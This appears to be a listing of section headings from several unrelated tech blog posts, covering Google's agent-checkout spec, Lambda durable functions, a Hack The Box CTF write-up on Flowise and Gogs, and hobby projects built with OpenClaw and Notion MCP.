How I Used Gemma 4

How Does an AI Agent Actually Buy Something? Google Just Published the Spec.

The problem UCP solves

What UCP actually is

The checkout flow, step by step

Why this matters more than another model announcement

What this means if you build e-commerce

The part nobody is talking about

The skeptic's questions

Try it yourself

Lambda Durable Functions, When You Don't Need Step Functions

The Problem It Solves

How It Works

What It Looks Like

When to Use This Instead of Step Functions

What You Pay For

Things to Know Before You Build

A Practical Example, Order Processing

Who This Is For

Getting Started

The NEXT '26 Announcement That Should Worry Microsoft Has Nothing to Do With Gemini

Microsoft's real advantage was never the product

What Google actually shipped

The gap nobody's mentioning

The $750M makes more sense now

The question Google doesn't want you to ask

Why this matters

CTF Writeup Silentium - HTB

1. Enumeration & Discovery

VHost Fuzzing

2. Initial Access: Flowise AI Password Reset Vulnerability

Step 1: Leaking the Token

Step 2: Overcoming the 500 Internal Server Error

3. Remote Code Execution (RCE) via Flowise (Model Context Protocol)

The Attack Path:

4. Pivoting to the Host

5. Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)

6. Gogs Exploitation: Manual Method (Web UI)

7. Gogs Exploitation: Automated Attack (Python Script)

The Final Working Logic

The Exploit Code (new_exploit.py)

8. Final Escalation

I Made My WhatsApp Predict When My Electricity Will Run Out with Openclaw

What I Built

Architecture

How I Used OpenClaw

Demo

YOUTUBE

Try it yourself

What I Learned

ClawCon Michigan

Building a Project Risk Engine on Top of Notion MCP

What I Built

Video Demo

The Exploit Code (`new_exploit.py`)